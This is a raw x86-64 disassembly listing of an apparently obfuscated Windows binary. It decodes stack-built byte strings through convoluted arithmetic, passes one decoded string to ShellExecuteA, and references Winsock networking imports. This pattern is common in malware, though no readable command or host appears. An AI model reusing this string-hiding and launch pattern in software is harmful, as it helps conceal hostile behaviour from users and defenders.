mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x128]
add rax, r9
add r11, rax
inc r11
jmp 0x1400bfd93
lea rcx, [r11 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x29
movzx eax, byte [rbp + r11 + 0x128]
add rax, r9
add r11, rax
inc r11
jmp 0x1400bfd93
add r11b, 0x59
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x6f
jmp 0x1400bfd90
sub r11b, 0x31
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x57
jmp 0x1400bfd80
mov eax, dword [rbp + 0x161f584]
cdqe
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x50]
jmp 0x1400ca781
mov eax, dword [rbp + 0x1310a49]
cdqe
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x50]
jmp 0x1400ca781
mov eax, dword [rbp + 0x128]
cdqe
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x50]
jmp 0x1400ca781
mov byte [rbp + 0x6b0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x6b1], Ordinal_200
mov byte [rbp + 0x6b2], Ordinal_200
mov byte [rbp + 0x6b3], Ordinal_200
mov byte [rbp + 0x6b4], Ordinal_200
mov byte [rbp + 0x6b5], 0xff
mov byte [rbp + 0x6b6], Ordinal_143
mov byte [rbp + 0x6b7], 0x88
mov byte [rbp + 0x6b8], 0xf9
mov byte [rbp + 0x6b9], 0xaa
mov byte [rbp + 0x6ba], 0xb2
mov byte [rbp + 0x6bb], 0xae
mov byte [rbp + 0x6bc], 0xad
mov byte [rbp + 0x6bd], 0xb9
mov byte [rbp + 0x6be], 0xbd
mov byte [rbp + 0x6bf], 0xf1
mov byte [rbp + 0x6c0], 0xa3
mov byte [rbp + 0x6c1], 0xbe
mov byte [rbp + 0x6c2], 0xbf
mov byte [rbp + 0x6c3], 0xfc
mov byte [rbp + 0x6c4], 0xb7
mov byte [rbp + 0x6c5], 0xb1
mov byte [rbp + 0x6c6], 0xb9
mov byte [rbp + 0x6c7], 0xb5
mov byte [rbp + 0x6c8], 0xbd
mov byte [rbp + 0x6c9], 0xe6
mov byte [rbp + 0x6ca], 0xaa
mov byte [rbp + 0x6cb], 0xa9
mov byte [rbp + 0x6cc], 0xa3
mov byte [rbp + 0x6cd], 0xb9
mov byte [rbp + 0x6ce], 0xab
mov byte [rbp + 0x6cf], 0xbc
mov byte [rbp + 0x6d0], 0xa4
mov byte [rbp + 0x6d1], 0xee
mov byte [rbp + 0x6d2], 0xe6
mov byte [rbp + 0x6d3], 0xe2
mov byte [rbp + 0x6d4], 0xe9
mov byte [rbp + 0x6d5], 0xab
mov byte [rbp + 0x6d6], 0xb3
mov byte [rbp + 0x6d7], 0x5d
mov byte [rbp + 0x6d8], 0x9d
mov byte [rbp + 0x6d9], 0x9b
mov byte [rbp + 0x6da], Ordinal_217
mov byte [rbp + 0x6db], 0x90
mov byte [rbp + 0x6dc], Ordinal_143
mov byte [rbp + 0x6dd], 0x64
mov byte [rbp + 0x6de], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x6df], Ordinal_143
mov byte [rbp + 0x6e0], WSAGetLastError
mov byte [rbp + 0x6e1], __WSAFDIsSet
mov byte [rbp + 0x6e2], 0x83
mov byte [rbp + 0x6e3], 0x90
mov byte [rbp + 0x6e4], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x6e5], Ordinal_217
mov byte [rbp + 0x6e6], 0x9a
mov byte [rbp + 0x6e7], 0x9e
mov byte [rbp + 0x6e8], 0x9e
mov byte [rbp + 0x6e9], 0x9c
mov byte [rbp + 0x6ea], Ordinal_143
mov byte [rbp + 0x6eb], 0x82
mov byte [rbp + 0x6ec], 0x81
mov byte [rbp + 0x6ed], 0x98
mov byte [rbp + 0x6ee], Ordinal_200
mov byte [rbp + 0x6ef], 0x83
mov byte [rbp + 0x6f0], Ordinal_143
mov byte [rbp + 0x6f1], __WSAFDIsSet
mov byte [rbp + 0x6f2], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x6f3], Ordinal_143
mov byte [rbp + 0x6f4], 0x87
mov byte [rbp + 0x6f5], 0x90
mov byte [rbp + 0x6f6], 0xc9
mov byte [rbp + 0x6f7], 0xf7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x6f8], xmm0
mov qword [rbp + 0x708], rax
mov word [rbp + 0x710], ax
mov byte [rbp + 0x712], al
movabs r14, 0x8a662cd8f704f338
movabs r12, 0xc8cb39eec122a688
movabs r15, 0x9f32868ae50ed9a8
movzx r10d, byte [rsp + 0x30]
nop
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
mov rdi, r13
cmp rdi, 0x63
jae 0x1400c164c
movzx r11d, byte [rbp + rdi + 0x6b0]
mov rbx, r11
nop dword [rax]
cmp r8, rdi
ja 0x1400c1643
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c0c3c
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
add r10b, 0x78
jmp 0x1400c0c70
je 0x1400c15c8
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c1543
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c14e8
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c14a3
nop dword [rax]
cmp r9, rdi
ja 0x1400c163a
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400c0c9c
lea ecx, [rdi - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
jmp 0x1400c0ce0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c1488
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c1468
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c144a
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c142b
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c140f
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400c1204
nop dword [rax]
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c11e6
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c11c0
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400c119b
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c118a
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c116b
lea rcx, [r9 + 8]
cmp r8, rcx
je 0x1400c114c
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c1130
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c1111
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c10e1
mov r8, rcx
lea r9, [rcx + 2]
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x1400c1619
lea rax, [r9 + 5]
cmp rcx, rax
jb 0x1400c15f8
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x1400c0ea7
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x1400c0e88
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x1400c0e69
lea rcx, [r9 + 1]
cmp r8, rcx
jb 0x1400c1095
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400c1048
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400c100c
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400c0fe7
mov r8, rcx
lea r9, [rcx + 5]
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x1400c0fb7
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x1400c0f98
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x1400c0f7c
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x1400c0f5d
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x1400c0f45
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x1400c0f27
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x1400c0f07
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x1400c0ee4
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x1400c0ec6
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x5a]
jmp 0x1400c0cf0
lea edx, [rdi + 0x68]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c0ce0
lea edx, [rdi - 8]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c0c70
lea edx, [rdi - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c0c06
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
movzx ebx, dil
jmp 0x1400c14bc
lea ecx, [rdi + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
inc r9
dec rdi
inc rdi
jmp 0x1400c0bf3
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
dec rdi
inc rdi
jmp 0x1400c0bf3
lea ecx, [rdi + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
movzx ebx, dil
jmp 0x1400c1506
movzx ecx, dil
and cl, r11b
add cl, cl
movzx r10d, dil
sub r10b, cl
add r10b, r11b
jmp 0x1400c1527
lea edx, [rdi - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c152a
lea edx, [rdi + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400c155b
lea edx, [rdi - 0x50]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c1588
lea edx, [rdi + 0x40]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rdi + 0x6b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0bf3
lea ecx, [rdi + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
mov byte [rbp + rdi + 0x6b0], r10b
inc rdi
jmp 0x1400c0bf3
lea ecx, [rdi - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
cmp r9, 8
jb 0x1400c0ffc
movzx ebx, dil
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x60]
jmp 0x1400c14bc
lea edx, [rdi + 0x48]
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r8, 0x40
jae 0x1400c13d5
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400c137e
lea edx, [rdi - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c1021
lea edx, [rdi - 0x28]
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
lea rax, [r8 + r9]
cmp rax, 0x10
je 0x1400c13f9
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x1400c12d5
lea ecx, [rdi + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
jmp 0x1400c1062
lea edx, [rdi - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rdi + 0x6b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0bf3
lea edx, [rdi + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c1588
lea edx, [rdi - 0x50]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400c155b
lea edx, [rdi + 0x40]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c152a
lea edx, [rdi - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c1527
movzx ebx, dil
lea edx, [rbx + 0x60]
mov ecx, Ordinal_50
jmp 0x1400c14f4
lea edx, [rdi - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rdi
inc rdi
jmp 0x1400c0bf3
lea ecx, [rdi + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
inc r9
dec rdi
inc rdi
jmp 0x1400c0bf3
movzx ebx, dil
lea ecx, [rbx + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
jmp 0x1400c14bc
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400c1220
lea edx, [rdi + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1400c10a3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c1254
lea ecx, [rdi + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
movzx eax, byte [rbp + rdi + 0x6b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0bf3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c1277
lea ecx, [rdi + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
jmp 0x1400c155e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c12a5
lea edx, [rdi - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rdi
inc rdi
jmp 0x1400c0bf3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c10af
movzx ebx, dil
lea edx, [rbx - 0x50]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c14bc
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c12fc
movzx ebx, dil
lea ecx, [rbx - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
jmp 0x1400c14bc
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c132a
lea edx, [rdi - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rdi
inc rdi
jmp 0x1400c0bf3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c1352
lea edx, [rdi - 8]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c152a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c1062
lea edx, [rdi - 0x28]
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c1588
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c13b7
lea edx, [rdi + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rdi + 0x6b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0bf3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c1021
movzx ebx, dil
lea edx, [rbx - 0x70]
mov ecx, 8
jmp 0x1400c14f4
movzx ebx, dil
lea edx, [rbx - 0x40]
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rdi + 0x6b0]
sub r10b, al
sub r10b, 0x40
jmp 0x1400c1500
lea ecx, [rdi + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [rcx - 0x50]
jmp 0x1400c155e
lea edx, [rdi - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400c155b
lea edx, [rdi + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c152a
movzx ebx, dil
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
jmp 0x1400c1506
lea ecx, [rdi - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
dec rdi
inc rdi
jmp 0x1400c0bf3
movzx ebx, dil
lea ecx, [rbx + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
jmp 0x1400c14bc
movzx ebx, dil
lea ecx, [rbx + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
sub bl, 0x78
movzx eax, r11b
and al, bl
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
mov byte [rbp + rdi + 0x6b0], cl
inc r9
dec rdi
inc rdi
jmp 0x1400c0bf3
movzx ebx, dil
lea edx, [rbx - 0x28]
mov ecx, listen
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
sub bl, 8
movzx eax, r11b
and al, bl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, r10b
mov byte [rbp + rdi + 0x6b0], cl
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c0bf3
lea rcx, [rdi + r12]
movzx r11d, bl
and bl, cl
mov eax, 0x24
sub al, bl
lea r10d, [rax + rax]
add r10b, cl
add r10b, r11b
lea edx, [rdi + 0x68]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x6b0], al
inc r9
add rax, r9
sub rdi, rax
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x60
add cl, r11b
mov byte [rbp + rdi + 0x6b0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x6b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0bf3
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, byte [rbp + rdi + 0x6b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0bf3
add dil, 0x18
movzx eax, dil
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, r11b
jmp 0x1400c0bf0
sub dil, 0x58
movzx eax, dil
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, r11b
jmp 0x1400c0be0
lea r8, [rbp + 0x1537050]
jmp 0x1400c1653
lea r8, [rbp + 0x586388]
jmp 0x1400c1653
lea r8, [rbp + 0x6b0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [rbp + 0x2e8], 0x5e
mov byte [rbp + 0x2e9], WSAGetLastError
mov byte [rbp + 0x2ea], WSAGetLastError
mov byte [rbp + 0x2eb], WSAGetLastError
mov byte [rbp + 0x2ec], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x2ed], gethostname
mov byte [rbp + 0x2ee], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_46f], 0x2e
mov byte [rbp + 0x2f0], 0x60
mov byte [rbp + 0x2f1], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x2f2], 0x7a
mov byte [rbp + 0x2f3], 0x64
mov byte [rbp + 0x2f4], 0x60
mov byte [rbp + 0x2f5], Ordinal_46
mov byte [rbp + 0x2f6], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x2f7], 0x66
mov byte [rbp + 0x2f8], Ordinal_41
mov byte [rbp + 0x2f9], reloc.WS2_32.dll_socket
mov byte [rbp + Ordinal_50a], 0x2f
mov byte [rbp + 0x2fb], 1
mov byte [rbp + 0x2fc], Ordinal_33
mov byte [rbp + 0x2fd], Ordinal_33
mov byte [rbp + 0x2fe], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x2ff], 0x3d
mov byte [rbp + 0x300], 0xee
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x301], xmm0
mov qword [rbp + 0x311], rax
mov word [rbp + 0x319], ax
movabs rsi, 0x3ae63801791ff69f
movabs r15, 0x9c4b880a4fdfbe59
movabs r14, 0xb0b2a8046b5fe3dd
movzx r11d, byte [rsp + 0x30]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
mov rdi, r13
cmp rdi, 0x33
jae 0x1400c2268
movzx r10d, byte [rbp + rdi + 0x2e8]
mov rdx, r10
nop dword [rax]
cmp r8, rdi
ja 0x1400c225f
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400c17bc
lea rcx, [rdi + rsi]
mov rax, rdx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdx
add r11, rcx
sub r11b, 0x59
jmp 0x1400c17f6
je 0x1400c21f1
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c216a
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400c2138
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c20f9
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c20d5
cmp r9, rdi
ja 0x1400c2256
lea rax, [r9 + 2]
cmp r8, rax
jae 0x1400c181f
lea ecx, [rdi + 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4d
jmp 0x1400c1860
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c208e
inc rax
cmp r8, rax
je 0x1400c206f
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c2054
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c2036
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c200a
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c1cd2
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c1cb3
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c1c8b
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400c1c66
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400c1c47
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c1c2c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c1c0d
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c1bef
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c1870
lea r8, [r9 + 9]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c2239
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400c221c
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400c1a0b
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c19ed
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c19cf
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400c1ba3
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400c1b5a
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c1b13
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400c1870
lea r8, [r9 + 0x2a]
lea r9, [r8 + 8]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c1ae3
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400c1ac4
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400c1aa6
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c1a87
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400c1a68
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400c1a49
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400c1a28
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x5a]
jmp 0x1400c1870
lea edx, [rdi + 0x55]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x53
add r11b, dl
jmp 0x1400c1860
lea edx, [rdi + 0x17]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x5f
add r11b, dl
jmp 0x1400c17f6
lea edx, [rdi - 0x27]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add dl, 0x11
add r11b, dl
jmp 0x1400c1786
lea ecx, [rdi - 0x24]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 4
dec rdi
inc rdi
jmp 0x1400c1773
lea edx, [rdi - 0x62]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x52
movzx ebx, dil
jmp 0x1400c2113
lea edx, [rdi + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400c214e
lea edx, [rdi + 0x22]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400c2151
lea edx, [rdi - 0x1c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3c
add r11b, dl
jmp 0x1400c2184
lea edx, [rdi - 0x5a]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400c21ad
lea edx, [rdi + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0x2e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c1773
lea edx, [rdi + 0xf]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x69
add r11b, dl
cmp r9, 0x64
jb 0x1400c1fb7
movzx ebx, dil
lea edx, [rbx + 0x5a]
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400c20aa
lea edx, [rdi - 0x2f]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x49
add r11b, dl
cmp r8, 0x41
jae 0x1400c1fc7
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x1400c1ead
lea edx, [rdi - 0x12]
movzx eax, r10b
and al, dl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400c1b29
lea edx, [rdi - 0x6d]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 5
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 6
je 0x1400c1fee
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400c1dd7
lea edx, [rdi - 0x1d]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x35
jmp 0x1400c1b70
lea edx, [rdi - 0x3a]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6a
add r11b, dl
jmp 0x1400c2184
lea edx, [rdi - 0x78]
movzx eax, r10b
